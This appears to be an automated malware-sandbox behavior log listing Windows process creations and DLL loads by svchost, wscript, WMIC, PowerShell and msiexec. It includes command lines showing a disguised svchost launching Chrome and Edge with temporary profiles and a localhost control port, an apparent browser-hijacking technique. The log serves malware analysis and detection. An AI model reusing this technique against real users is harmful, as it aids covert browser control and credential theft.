Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe --user-data-dir="C:\Users\user~1\AppData\Local\Temp\chr1B0.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a506004f/bd5c97e1"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --user-data-dir="C:\Users\user~1\AppData\Local\Temp\chrBB3.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/a506004f/0da50779"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmplayer.exe "C:\Program Files\Windows Media Player\wmplayer.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2484 --field-trial-handle=2460,i,18042430906892468815,13956811968867216056,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2140,i,8472983126919404237,17192914109164823712,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
